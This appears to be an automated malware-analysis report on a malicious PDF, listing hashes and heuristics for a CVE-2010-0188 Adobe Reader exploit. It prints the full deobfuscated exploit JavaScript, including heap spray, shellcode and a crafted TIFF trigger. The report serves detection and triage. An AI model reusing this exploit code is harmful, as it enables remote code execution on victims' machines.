Malicious PDF — malware analysis report

Static analysis result for SHA-256 f7fec7ff3fbdaedf…

MALICIOUS

PDF

12.0 KB First seen: 2026-05-08
MD5: 8ca676dd9aebdfe83f9c0cf9610fd715 SHA-1: 37f7d84dc6532ddfa161ee6fc603b979e35571cc SHA-256: f7fec7ff3fbdaedfce39017c9dfdd4cf2fc8bba36b2325e7f90889c4c3df2894
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains an embedded script payload, indicated by the PDF_EMBEDDED_SCRIPT_PAYLOAD heuristic. The document body contains JavaScript-like syntax, suggesting an attempt to execute malicious code. The embedded file and XFA form also point towards a potential exploit. The primary attack pattern involves leveraging these elements to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: 9ea881d3a53fdbe62814ca07d6d7fd51cf2e4312aa1673f1c54e6599488ed55e
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: 618848098ce5d6b2da57c43570d8fa6a0f51ad6dd2c896add0d52c9f664f4762
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac3467aae2fac3e8e5ffffff8e6b66676739e68b3b666767ee80ea2877ea083356bc3036343434343434343234340f636667673231340f080967670f12150b0a330fe929698b8f2f676767378f1b67676798b7e4a36f0f28882862378f0b67676798b7e2a712700d333e94cd0f1599d4718f7a676767378f3667676798b7340d990fee0866da8f6f676767378f5b67676798b70756a703ec3757ec356bec3573ec154fde7f676767569856a7cb5b061b654b47a6a86a66a08597e6983cdb2d0dec2577ec7512beee23437b06a407ec0b4343ec225bec33621f668dec2d7fec3d47668c84532eec53ec6689569856a79bcbe3a71360a6a86a66a08c935c1b434f1286ec3d43668c01ec6b2cec3d7b668cec63ec668fee23437b06a56f678f889998980f1313175d48485e5649565e534955565349515148030900545656575656485e5403505703565f0604515456555506550104500401570301540504010257034803565649170f1758015a0b05016790';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac3462aae2fac3e8e5ffffff8b6e6362623ce38e3e636262eb85ef2d72ef0d3653b93533313131313131313731310a666362623734310a0d0c62620a17100e0f360aec2c6c8e8a2a626262328a1e6262629db2e1a66a0a2d8d2d67328a0e6262629db2e7a2177508363b91c80a109cd1748a7f626262328a336262629db231089c0aeb0d63df8a6a626262328a5e6262629db20253a206e93252e9306ee93076e9104adb7a626262539d53a2ce5e031e604e42a3ad6f63a58092e39d39de2808e92072e97017bbeb26467e03a102e90e4646e9275ee936671a6388e9287ae93842638981562be956e9638c539d53a29ecee6a21665a3ad6f63a58996591e464a1783e93846638904e96e29e9387e6389e966e9638aeb26467e03a06a628a8d9c9d9d0a161612584d4d5b534c535b564c5053564c54544d060c055153535253534d5b5106555206535a0301545153505003500401550104520604510001040752064d0653534c120a125d045f0e00046290';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}

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